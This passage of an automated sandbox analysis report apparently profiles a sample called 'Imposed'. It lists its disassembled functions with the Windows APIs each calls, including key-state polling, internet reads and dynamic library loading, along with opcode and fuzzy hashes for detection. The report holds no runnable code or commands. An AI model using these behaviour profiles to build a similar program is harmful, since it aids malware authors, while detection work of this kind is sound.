                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3183298772-0
                                                                                                                                                                • Opcode ID: cc42d222a416febe4670a1bbe377b2c6e70dfbb1ab34cab7cfbad7f77bbb8cc3
                                                                                                                                                                • Instruction ID: fbf90093e1757d71043c71802cc464fda10d9ddae33bfb6b896b4d7ab306d0dc
                                                                                                                                                                • Opcode Fuzzy Hash: cc42d222a416febe4670a1bbe377b2c6e70dfbb1ab34cab7cfbad7f77bbb8cc3
                                                                                                                                                                • Instruction Fuzzy Hash: 605146B24083899BC724DB94DC91AEFB7DC9FC5350F40092EF689D3161EF74A5888766
                                                                                                                                                                Function 009F93CC Relevance: 7.7, APIs: 5, Instructions: 159COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 009F93E9
                                                                                                                                                                • VariantClear.OLEAUT32 ref: 009F945A
                                                                                                                                                                • VariantClear.OLEAUT32 ref: 009F94B9
                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 009F952C
                                                                                                                                                                • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 009F9557
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Variant$Clear$ChangeInitType
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4136290138-0
                                                                                                                                                                • Opcode ID: 063b8460cb1100bc095228537897aa1d73d718ae4e476ca9ebb5674efd489bc4
                                                                                                                                                                • Instruction ID: 51d5d81503664954fbde2ac0873b98f8e5c57f7c9b97c48f616d8e44bc2b7ef0
                                                                                                                                                                • Opcode Fuzzy Hash: 063b8460cb1100bc095228537897aa1d73d718ae4e476ca9ebb5674efd489bc4
                                                                                                                                                                • Instruction Fuzzy Hash: D4515BB5A00219EFCB14CF58C884AAAB7F9FF89314B158569FA05DB310E734E912CF90
                                                                                                                                                                Function 00A092FC Relevance: 7.6, APIs: 5, Instructions: 143COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00A093AF
                                                                                                                                                                • GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00A093DB
                                                                                                                                                                • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00A09433
                                                                                                                                                                • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00A09458
                                                                                                                                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00A09460
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2832842796-0
                                                                                                                                                                • Opcode ID: 1b7306319893227bcaa473c5b22de782258ad26274688cd3f4ca53a492189178
                                                                                                                                                                • Instruction ID: af0c8c14cc90afec2e52b0131f4894de3b5b22d1b520c5c5055fd66796ebd5ca
                                                                                                                                                                • Opcode Fuzzy Hash: 1b7306319893227bcaa473c5b22de782258ad26274688cd3f4ca53a492189178
                                                                                                                                                                • Instruction Fuzzy Hash: D3511A75A002199FCF15DF58C985AAEBBF5FF49354F048058E949AB3A2CB31ED42CB90
                                                                                                                                                                Function 00A19656 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryW.KERNEL32(?,00000000,?), ref: 00A196B2
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00A19742
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00000000), ref: 00A1975E
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00A197A4
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000), ref: 00A197C4
                                                                                                                                                                  • Part of subcall function 009AF9F1: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00A018D4,?,7735E610), ref: 009AFA0E
                                                                                                                                                                  • Part of subcall function 009AF9F1: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,009F0283,00000000,00000000,?,?,00A018D4,?,7735E610,?,009F0283), ref: 009AFA35
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 666041331-0
                                                                                                                                                                • Opcode ID: eda4bc26bc87a8646a313b74075ae5884937254c90a49d791e02a73a04834155
                                                                                                                                                                • Instruction ID: 73ce7af3f7169caff2bcf4e6d7fbc2b191dbdb4ad9143db3f187a9f7c1a03655
                                                                                                                                                                • Opcode Fuzzy Hash: eda4bc26bc87a8646a313b74075ae5884937254c90a49d791e02a73a04834155
                                                                                                                                                                • Instruction Fuzzy Hash: 2F514D35605205DFCB11DF58C4949EEBBB0FF49314B1481A8E81AAF762DB31ED86CB91
                                                                                                                                                                Function 00A2715D Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetWindowLongW.USER32(00000002,000000F0,?), ref: 00A2721A
                                                                                                                                                                • SetWindowLongW.USER32(?,000000EC,?), ref: 00A27231
                                                                                                                                                                • SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00A2725A
                                                                                                                                                                • ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00A0B3AC,00000000,00000000), ref: 00A2727F
                                                                                                                                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00A272AE
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Long$MessageSendShow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3688381893-0
                                                                                                                                                                • Opcode ID: 67fec5e58af2266161fe4c64027cf43785435d2eb33ae68e23cecfe8db0ff0ad
                                                                                                                                                                • Instruction ID: 0a7a1c853634350794b4c3a4416cb23bd9e441572e84918152819149c3961fcc
                                                                                                                                                                • Opcode Fuzzy Hash: 67fec5e58af2266161fe4c64027cf43785435d2eb33ae68e23cecfe8db0ff0ad
                                                                                                                                                                • Instruction Fuzzy Hash: C641AD35A08224AFD725CF6CEC48FE97BA5EB4A360F150234F815A72E1C670AE52CB50
                                                                                                                                                                Function 009C23E1 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 269201875-0
                                                                                                                                                                • Opcode ID: 4852d4452dfd9a94acd6fbaa36348f24d3dcbd883b8254629f9108ae977dc714
                                                                                                                                                                • Instruction ID: f5dcdfe92f40d15dbdc11c4178f1962ba077c47fe20ca8f2b1d69aa05883ac68
                                                                                                                                                                • Opcode Fuzzy Hash: 4852d4452dfd9a94acd6fbaa36348f24d3dcbd883b8254629f9108ae977dc714
                                                                                                                                                                • Instruction Fuzzy Hash: ED41C332E002009FDB24DFB8C981F5EB7A5EF88314F1545ACE516EB3A1D631AD02CB41
                                                                                                                                                                Function 00991976 Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 0099198A
                                                                                                                                                                • ScreenToClient.USER32(00000000,?), ref: 009919A7
                                                                                                                                                                • GetAsyncKeyState.USER32(00000001), ref: 009919CC
                                                                                                                                                                • GetAsyncKeyState.USER32(00000002), ref: 009919E6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AsyncState$ClientCursorScreen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4210589936-0
                                                                                                                                                                • Opcode ID: bf4c4770e442ec4fd48fd47f8b8848c0cef7d1f405cd6a1689a96b748039c37c
                                                                                                                                                                • Instruction ID: 0a9c64fdd1d9205cd8108c158876bc585326562be6762b88b0eb5698b6407d23
                                                                                                                                                                • Opcode Fuzzy Hash: bf4c4770e442ec4fd48fd47f8b8848c0cef7d1f405cd6a1689a96b748039c37c
                                                                                                                                                                • Instruction Fuzzy Hash: 60415E31A0911AAFDF15DFA8C844BEEB775FB15324F20822AE469A62D0C7345E51CBA1
                                                                                                                                                                Function 00A0418B Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetInputState.USER32 ref: 00A041E2
                                                                                                                                                                • TranslateAcceleratorW.USER32(?,00000000,?), ref: 00A04239
                                                                                                                                                                • TranslateMessage.USER32(?), ref: 00A04262
                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 00A0426C
                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A0427D
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2256411358-0
                                                                                                                                                                • Opcode ID: 12762b358c0638e74be17feb617e234f041a6c4dde583c04e6faa8d848913bc9
                                                                                                                                                                • Instruction ID: b34c3bf06aa3f8c15f3f3ecdac8792d37a38dd6b1bba1bd7afc63251bb45250b
                                                                                                                                                                • Opcode Fuzzy Hash: 12762b358c0638e74be17feb617e234f041a6c4dde583c04e6faa8d848913bc9
                                                                                                                                                                • Instruction Fuzzy Hash: B03182B060474A9EEB34CBB4A848BF63BB8BB1D304F14056DE666C71E1E7B49887D711
                                                                                                                                                                Function 009F217B Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 009F218F
                                                                                                                                                                • PostMessageW.USER32(00000001,00000201,00000001), ref: 009F223B
                                                                                                                                                                • Sleep.KERNEL32(00000000,?,?,?), ref: 009F2243
                                                                                                                                                                • PostMessageW.USER32(00000001,00000202,00000000), ref: 009F2254
                                                                                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?), ref: 009F225C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessagePostSleep$RectWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3382505437-0
                                                                                                                                                                • Opcode ID: 3b5c26347cacb2c698836752d6b4a5c1415fc6487f8c3af9c14299f141d48808
                                                                                                                                                                • Instruction ID: 828b9dbd0b69885a0554411885c68d0e03eb1bec2dc01ec597c8c9455981236f
                                                                                                                                                                • Opcode Fuzzy Hash: 3b5c26347cacb2c698836752d6b4a5c1415fc6487f8c3af9c14299f141d48808
                                                                                                                                                                • Instruction Fuzzy Hash: 1931B171A0021DEFDB14CFA8CD89BEE3BB5EB44315F104229FA25AB2D1C370A955CB90
                                                                                                                                                                Function 00A0D748 Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00A0CA51,00000000), ref: 00A0D766
                                                                                                                                                                • InternetReadFile.WININET(?,00000000,?,?), ref: 00A0D79D
                                                                                                                                                                • GetLastError.KERNEL32(?,00000000,?,?,?,00A0CA51,00000000), ref: 00A0D7E2
                                                                                                                                                                • SetEvent.KERNEL32(?,?,00000000,?,?,?,00A0CA51,00000000), ref: 00A0D7F6
                                                                                                                                                                • SetEvent.KERNEL32(?,?,00000000,?,?,?,00A0CA51,00000000), ref: 00A0D820
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: EventInternet$AvailableDataErrorFileLastQueryRead
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3191363074-0
                                                                                                                                                                • Opcode ID: bd3a858edf39ae6b85134d5ef62c58ddca0dfca1b7d3dc7148626041dcbd713a
                                                                                                                                                                • Instruction ID: 1fe178fe055118f7fc2671c62ddba749d539416fdda55b87447c4d5d81b4cbf1
                                                                                                                                                                • Opcode Fuzzy Hash: bd3a858edf39ae6b85134d5ef62c58ddca0dfca1b7d3dc7148626041dcbd713a
                                                                                                                                                                • Instruction Fuzzy Hash: DF314F72900209EFDB24DFE9E884AAFBBF8EF44354B10842DE506D2191D730EE469B60
                                                                                                                                                                Function 00A11176 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • IsWindow.USER32(00000000), ref: 00A11197
                                                                                                                                                                • GetForegroundWindow.USER32 ref: 00A111AE
                                                                                                                                                                • GetDC.USER32(00000000), ref: 00A111EA
                                                                                                                                                                • GetPixel.GDI32(00000000,?,00000003), ref: 00A111F6
                                                                                                                                                                • ReleaseDC.USER32(00000000,00000003), ref: 00A1122E
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$ForegroundPixelRelease
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4156661090-0
                                                                                                                                                                • Opcode ID: 00c5d79afba525c1ee7962e60ba36c4fb4a83997c390bc9407cba8ceefcec83a
                                                                                                                                                                • Instruction ID: 00a197993bd9837c24807b66ed60415349e4e0bd4751d4a1e91a7ec3a58be0c5
                                                                                                                                                                • Opcode Fuzzy Hash: 00c5d79afba525c1ee7962e60ba36c4fb4a83997c390bc9407cba8ceefcec83a
                                                                                                                                                                • Instruction Fuzzy Hash: E9219375610214AFD714EFA9DD88AAEBBF5EF88300B14847CE94AD7752CB30AC45CB90
                                                                                                                                                                Function 009CD1DD Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetEnvironmentStringsW.KERNEL32 ref: 009CD1E6
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009CD209
                                                                                                                                                                  • Part of subcall function 009C3C40: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,009B0215,00000000,?,00998E5F,00000004,?,009D4C6B,?,?,009910E8,00A2DBF4), ref: 009C3C72
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 009CD22F
                                                                                                                                                                • _free.LIBCMT ref: 009CD242
                                                                                                                                                                • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009CD251
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 336800556-0
                                                                                                                                                                • Opcode ID: ed616f5d40aa386d78a6be4256667ec3e6978f8607801307ed048b2d794245d9
                                                                                                                                                                • Instruction ID: 453df9d77d5d3826fd850fe3463914b967fc1dfa2086e72f7ab51e0150595ef2
                                                                                                                                                                • Opcode Fuzzy Hash: ed616f5d40aa386d78a6be4256667ec3e6978f8607801307ed048b2d794245d9
                                                                                                                                                                • Instruction Fuzzy Hash: 36018F72E026157F2331AABA6C88E7B6A6DDEC6BA1315013DFD14D6245EE60CD0291B2
                                                                                                                                                                Function 009C3218 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetLastError.KERNEL32(?,00000000,?,009C2C3D,009C3C83,?,?,009B0215,00000000,?,00998E5F,00000004,?,009D4C6B), ref: 009C321D
                                                                                                                                                                • _free.LIBCMT ref: 009C3252
                                                                                                                                                                • _free.LIBCMT ref: 009C3279
                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 009C3286
                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 009C328F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast$_free
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3170660625-0
                                                                                                                                                                • Opcode ID: 43379e5d33f0d02b659f4dc680a4149006f8f7f62860cd6f42d9f4f1c953974c
                                                                                                                                                                • Instruction ID: ced561ab616fa333f3ca5c342a4f8f46b8973c571ea9c06dfd4692052454b09f
                                                                                                                                                                • Opcode Fuzzy Hash: 43379e5d33f0d02b659f4dc680a4149006f8f7f62860cd6f42d9f4f1c953974c
                                                                                                                                                                • Instruction Fuzzy Hash: 1701F977D40B00779A22A7795C46F2A166DAFD4371731C62CF826D6192EF348A024113
                                                                                                                                                                Function 009F082D Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?,?,?,009F0B7D), ref: 009F084A
                                                                                                                                                                • ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?,?), ref: 009F0865
                                                                                                                                                                • lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?,?), ref: 009F0873
